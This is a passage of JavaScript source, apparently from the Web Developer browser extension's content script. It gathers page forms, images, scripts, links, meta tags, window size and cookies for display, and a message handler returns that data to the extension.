  1999.  
  2000.           // If the label is not already set
  2001.           if(!documentFormElement.label)
  2002.           {
  2003.             labelElement = contentDocument.querySelector('label[for="' + formElementId + '"]');
  2004.  
  2005.             // If a label element was found
  2006.             if(labelElement)
  2007.             {
  2008.               documentFormElement.label = labelElement.textContent.trim();
  2009.             }
  2010.           }
  2011.         }
  2012.  
  2013.         // If the form element has a maxlength attribute
  2014.         if(formElement.hasAttribute("maxlength"))
  2015.         {
  2016.           documentFormElement.maximumLength = formElement.getAttribute("maxlength");
  2017.         }
  2018.  
  2019.         // If the form element has a name attribute
  2020.         if(formElement.hasAttribute("name"))
  2021.         {
  2022.           documentFormElement.name = formElement.getAttribute("name");
  2023.         }
  2024.  
  2025.         // If the form element has a size attribute
  2026.         if(formElement.hasAttribute("size"))
  2027.         {
  2028.           documentFormElement.size = formElement.getAttribute("size");
  2029.         }
  2030.  
  2031.         documentFormElement.type = elementType;
  2032.  
  2033.         documentForm.elements.push(documentFormElement);
  2034.       }
  2035.  
  2036.       documentForms.forms.push(documentForm);
  2037.     }
  2038.  
  2039.     forms.documents.push(documentForms);
  2040.   }
  2041.  
  2042.   return forms;
  2043. };
  2044.  
  2045. // Returns any images in the document
  2046. WebDeveloper.Content.getImages = function()
  2047. {
  2048.   var allImages        = null;
  2049.   var contentDocument  = WebDeveloper.Common.getContentDocument();
  2050.   var contentDocuments = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  2051.   var documentImage    = null;
  2052.   var documentImages   = null;
  2053.   var image            = null;
  2054.   var images           = {};
  2055.  
  2056.   images.documents = [];
  2057.   images.pageTitle = contentDocument.title;
  2058.   images.pageURL   = contentDocument.documentURI;
  2059.  
  2060.   // Loop through the documents
  2061.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  2062.   {
  2063.     contentDocument       = contentDocuments[i];
  2064.     allImages             = WebDeveloper.Common.getDocumentImages(contentDocument);
  2065.     documentImages        = {};
  2066.     documentImages.images = [];
  2067.     documentImages.url    = contentDocument.documentURI;
  2068.  
  2069.     // Loop through the images
  2070.     for(var j = 0, m = allImages.length; j < m; j++)
  2071.     {
  2072.       documentImage = {};
  2073.       image         = allImages[j];
  2074.  
  2075.       // If the image has an alt attribute
  2076.       if(image.hasAttribute("alt"))
  2077.       {
  2078.         documentImage.alt = image.getAttribute("alt");
  2079.       }
  2080.  
  2081.       documentImage.height = image.naturalHeight;
  2082.       documentImage.src    = image.src;
  2083.       documentImage.width  = image.naturalWidth;
  2084.  
  2085.       documentImages.images.push(documentImage);
  2086.     }
  2087.  
  2088.     images.documents.push(documentImages);
  2089.   }
  2090.  
  2091.   return images;
  2092. };
  2093.  
  2094. // Returns any JavaScript for the document
  2095. WebDeveloper.Content.getJavaScript = function()
  2096. {
  2097.   var contentDocument    = WebDeveloper.Common.getContentDocument();
  2098.   var contentDocuments   = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  2099.   var documentJavaScript = null;
  2100.   var embeddedJavaScript = null;
  2101.   var javaScript         = {};
  2102.   var script             = null;
  2103.   var scripts            = null;
  2104.  
  2105.   javaScript.documents = [];
  2106.   javaScript.pageTitle = contentDocument.title;
  2107.   javaScript.pageURL   = contentDocument.documentURI;
  2108.  
  2109.   // Loop through the documents
  2110.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  2111.   {
  2112.     contentDocument    = contentDocuments[i];
  2113.     documentJavaScript = {};
  2114.     embeddedJavaScript = "";
  2115.     scripts            = contentDocument.getElementsByTagName("script");
  2116.  
  2117.     documentJavaScript.url        = contentDocument.documentURI;
  2118.     documentJavaScript.javaScript = [];
  2119.  
  2120.     // Loop through the scripts
  2121.     for(var j = 0, m = scripts.length; j < m; j++)
  2122.     {
  2123.       script = scripts[j];
  2124.  
  2125.       // If this is a valid external script
  2126.       if(script.src)
  2127.       {
  2128.         documentJavaScript.javaScript.push(script.src);
  2129.       }
  2130.       else
  2131.       {
  2132.         embeddedJavaScript += script.textContent.trim() + "\n\n";
  2133.       }
  2134.     }
  2135.  
  2136.     // If there is embedded JavaScript
  2137.     if(embeddedJavaScript)
  2138.     {
  2139.       documentJavaScript.embedded = embeddedJavaScript;
  2140.     }
  2141.  
  2142.     javaScript.documents.push(documentJavaScript);
  2143.   }
  2144.  
  2145.   return javaScript;
  2146. };
  2147.  
  2148. // Returns any links in the document
  2149. WebDeveloper.Content.getLinks = function()
  2150. {
  2151.   var contentDocument  = WebDeveloper.Common.getContentDocument();
  2152.   var contentDocuments = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  2153.   var documentAllLinks = null;
  2154.   var documentLinks    = null;
  2155.   var link             = null;
  2156.   var links            = {};
  2157.   var nonUniqueLinks   = null;
  2158.  
  2159.   links.documents = [];
  2160.   links.pageTitle = contentDocument.title;
  2161.   links.pageURL   = contentDocument.documentURI;
  2162.  
  2163.   // Loop through the documents
  2164.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  2165.   {
  2166.     contentDocument     = contentDocuments[i];
  2167.     documentAllLinks    = contentDocument.links;
  2168.     documentLinks       = {};
  2169.     documentLinks.links = [];
  2170.     documentLinks.url   = contentDocument.documentURI;
  2171.     nonUniqueLinks      = [];
  2172.  
  2173.     // Loop through the links
  2174.     for(var j = 0, m = documentAllLinks.length; j < m; j++)
  2175.     {
  2176.       nonUniqueLinks.push(documentAllLinks[j].href);
  2177.     }
  2178.  
  2179.     nonUniqueLinks.sort();
  2180.  
  2181.     // Loop through the links
  2182.     for(j = 0, m = nonUniqueLinks.length; j < m; j++)
  2183.     {
  2184.       link = nonUniqueLinks[j];
  2185.  
  2186.       // If this is not the last link and the link is the same as the next link
  2187.       if(j + 1 < m && link == nonUniqueLinks[j + 1])
  2188.       {
  2189.         continue;
  2190.       }
  2191.  
  2192.       documentLinks.links.push(link);
  2193.     }
  2194.  
  2195.     links.documents.push(documentLinks);
  2196.   }
  2197.  
  2198.   return links;
  2199. };
  2200.  
  2201. // Returns any meta tags in the document
  2202. WebDeveloper.Content.getMetaTags = function()
  2203. {
  2204.   var contentDocument     = WebDeveloper.Common.getContentDocument();
  2205.   var contentDocuments    = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  2206.   var documentAllMetaTags = null;
  2207.   var documentMetaTag     = null;
  2208.   var documentMetaTags    = null;
  2209.   var metaTag             = null;
  2210.   var metaTags            = {};
  2211.  
  2212.   metaTags.documents = [];
  2213.   metaTags.pageTitle = contentDocument.title;
  2214.   metaTags.pageURL   = contentDocument.documentURI;
  2215.  
  2216.   // Loop through the documents
  2217.   for(var i = 0, l = contentDocuments.length; i < l; i++)
  2218.   {
  2219.     contentDocument           = contentDocuments[i];
  2220.     documentAllMetaTags       = contentDocument.getElementsByTagName("meta");
  2221.     documentMetaTags          = {};
  2222.     documentMetaTags.metaTags = [];
  2223.     documentMetaTags.url      = contentDocument.documentURI;
  2224.  
  2225.     // Loop through the meta tags
  2226.     for(var j = 0, m = documentAllMetaTags.length; j < m; j++)
  2227.     {
  2228.       documentMetaTag = {};
  2229.       metaTag         = documentAllMetaTags[j];
  2230.  
  2231.       // If the meta tag has a name attribute
  2232.       if(metaTag.hasAttribute("name"))
  2233.       {
  2234.         documentMetaTag.content = metaTag.getAttribute("content");
  2235.         documentMetaTag.name    = metaTag.getAttribute("name");
  2236.       }
  2237.       else if(metaTag.hasAttribute("charset"))
  2238.       {
  2239.         documentMetaTag.content = metaTag.getAttribute("charset");
  2240.         documentMetaTag.name    = "charset";
  2241.       }
  2242.       else if(metaTag.hasAttribute("http-equiv"))
  2243.       {
  2244.         documentMetaTag.content = metaTag.getAttribute("content");
  2245.         documentMetaTag.name    = metaTag.getAttribute("http-equiv");
  2246.       }
  2247.       else if(metaTag.hasAttribute("property"))
  2248.       {
  2249.         documentMetaTag.content = metaTag.getAttribute("content");
  2250.         documentMetaTag.name    = metaTag.getAttribute("property");
  2251.       }
  2252.  
  2253.       documentMetaTags.metaTags.push(documentMetaTag);
  2254.     }
  2255.  
  2256.     metaTags.documents.push(documentMetaTags);
  2257.   }
  2258.  
  2259.   return metaTags;
  2260. };
  2261.  
  2262. // Returns the window size
  2263. WebDeveloper.Content.getWindowSize = function()
  2264. {
  2265.   var size = {};
  2266.  
  2267.   size.innerHeight = window.innerHeight;
  2268.   size.innerWidth  = window.innerWidth;
  2269.   size.outerHeight = window.outerHeight;
  2270.   size.outerWidth  = window.outerWidth;
  2271.  
  2272.   return size;
  2273. };
  2274.  
  2275. // Sorts two cookies
  2276. WebDeveloper.Content.sortCookies = function(cookieOne, cookieTwo)
  2277. {
  2278.   // If cookie one and cookie two are set
  2279.   if(cookieOne && cookieTwo)
  2280.   {
  2281.     var cookieOneHost = cookieOne.host;
  2282.     var cookieOneName = cookieOne.name;
  2283.     var cookieTwoHost = cookieTwo.host;
  2284.     var cookieTwoName = cookieTwo.name;
  2285.  
  2286.     // If the cookies are equal
  2287.     if(cookieOneHost == cookieTwoHost && cookieOneName == cookieTwoName)
  2288.     {
  2289.       return 0;
  2290.     }
  2291.     else if(cookieOneHost < cookieTwoHost || cookieOneHost == cookieTwoHost && cookieOneName < cookieTwoName)
  2292.     {
  2293.       return -1;
  2294.     }
  2295.   }
  2296.  
  2297.   return 1;
  2298. };
  2299.  
  2300. // Tidies a list of colors by removing duplicates and sorting
  2301. WebDeveloper.Content.tidyColors = function(colors)
  2302. {
  2303.   var color      = null;
  2304.   var tidiedColors = [];
  2305.  
  2306.   colors.sort();
  2307.  
  2308.   // Loop through the colors
  2309.   for(var i = 0, l = colors.length; i < l; i++)
  2310.   {
  2311.     color = colors[i];
  2312.  
  2313.     // If this is not the last color and the color is the same as the next color
  2314.     if(i + 1 < l && color == colors[i + 1])
  2315.     {
  2316.       continue;
  2317.     }
  2318.  
  2319.     tidiedColors.push(color);
  2320.   }
  2321.  
  2322.   return tidiedColors;
  2323. };
  2324.  
  2325. var WebDeveloper = WebDeveloper || {}; // eslint-disable-line no-use-before-define
  2326.  
  2327. WebDeveloper.Content = WebDeveloper.Content || {};
  2328.  
  2329. // Returns any domain cookies
  2330. WebDeveloper.Content.getDomainCookies = function(allCookies)
  2331. {
  2332.   var documents     = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  2333.   var domainCookies = [];
  2334.  
  2335.   // Loop through the documents
  2336.   for(var i = 0, l = documents.length; i < l; i++)
  2337.   {
  2338.     // Try to get the host
  2339.     try
  2340.     {
  2341.       domainCookies = domainCookies.concat(WebDeveloper.Content.filterCookies(allCookies, documents[i].location.hostname, "/", false));
  2342.     }
  2343.     catch(exception)
  2344.     {
  2345.       // Ignore
  2346.     }
  2347.   }
  2348.  
  2349.   return domainCookies;
  2350. };
  2351.  
  2352. // Returns the details for the location
  2353. WebDeveloper.Content.getLocationDetails = function()
  2354. {
  2355.   var windowLocation  = WebDeveloper.Common.getContentWindow().location;
  2356.   var locationDetails = {};
  2357.  
  2358.   locationDetails.host = windowLocation.hostname;
  2359.   locationDetails.path = windowLocation.pathname;
  2360.  
  2361.   return locationDetails;
  2362. };
  2363.  
  2364. // Returns any path cookies
  2365. WebDeveloper.Content.getPathCookies = function(allCookies)
  2366. {
  2367.   var contentDocument = null;
  2368.   var documents       = WebDeveloper.Content.getDocuments(WebDeveloper.Common.getContentWindow());
  2369.   var pathCookies     = [];
  2370.  
  2371.   // Loop through the documents
  2372.   for(var i = 0, l = documents.length; i < l; i++)
  2373.   {
  2374.     contentDocument = documents[i];
  2375.  
  2376.     // Try to get the host and path
  2377.     try
  2378.     {
  2379.       pathCookies = pathCookies.concat(WebDeveloper.Content.filterCookies(allCookies, contentDocument.location.hostname, contentDocument.location.pathname, false));
  2380.     }
  2381.     catch(exception)
  2382.     {
  2383.       // Ignore
  2384.     }
  2385.   }
  2386.  
  2387.   return pathCookies;
  2388. };
  2389.  
  2390. // Handles any content messages
  2391. WebDeveloper.Content.message = function(message, sender, sendResponse)
  2392. {
  2393.   // If the message type is to get anchors
  2394.   if(message.type == "get-anchors")
  2395.   {
  2396.     sendResponse(WebDeveloper.Content.getAnchors());
  2397.   }
  2398.   else if(message.type == "get-broken-images")
  2399.   {
  2400.     sendResponse(WebDeveloper.Content.getBrokenImages());
  2401.   }
  2402.   else if(message.type == "get-colors")
  2403.   {
  2404.     sendResponse(WebDeveloper.Content.getColors());
  2405.   }
  2406.   else if(message.type == "get-cookies")
  2407.   {
  2408.     sendResponse(WebDeveloper.Content.getCookies(message.allCookies));
  2409.   }
  2410.   else if(message.type == "get-css")
  2411.   {
  2412.     sendResponse(WebDeveloper.Content.getCSS());
  2413.   }
  2414.   else if(message.type == "get-document-details")
  2415.   {
  2416.     sendResponse(WebDeveloper.Content.getDocumentDetails());
  2417.   }
  2418.   else if(message.type == "get-document-outline")
  2419.   {
  2420.     sendResponse(WebDeveloper.Content.getDocumentOutline());
  2421.   }
  2422.   else if(message.type == "get-domain-cookies")
  2423.   {
  2424.     sendResponse(WebDeveloper.Content.getDomainCookies(message.allCookies));
  2425.   }
  2426.   else if(message.type == "get-duplicate-ids")
  2427.   {
  2428.     sendResponse(WebDeveloper.Content.getDuplicateIds());
  2429.   }
  2430.   else if(message.type == "get-forms")
  2431.   {
  2432.     sendResponse(WebDeveloper.Content.getForms());
  2433.   }
  2434.   else if(message.type == "get-images")
  2435.   {
  2436.     sendResponse(WebDeveloper.Content.getImages());
  2437.   }
  2438.   else if(message.type == "get-javascript")
  2439.   {
  2440.     sendResponse(WebDeveloper.Content.getJavaScript());
  2441.   }
  2442.   else if(message.type == "get-links")
  2443.   {
  2444.     sendResponse(WebDeveloper.Content.getLinks());
  2445.   }
  2446.   else if(message.type == "get-location-details")
  2447.   {
  2448.     sendResponse(WebDeveloper.Content.getLocationDetails());
  2449.   }
  2450.   else if(message.type == "get-meta-tags")
  2451.   {
  2452.     sendResponse(WebDeveloper.Content.getMetaTags());
  2453.   }
  2454.   else if(message.type == "get-path-cookies")
  2455.   {
  2456.     sendResponse(WebDeveloper.Content.getPathCookies(message.allCookies));
  2457.   }
  2458.   else if(message.type == "get-window-size")
  2459.   {
  2460.     sendResponse(WebDeveloper.Content.getWindowSize());
  2461.   }
  2462.   else
  2463.   {
  2464.     // Unknown message
  2465.     sendResponse({});
  2466.   }
  2467. };
  2468.  
  2469. chrome.extension.onMessage.addListener(WebDeveloper.Content.message);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement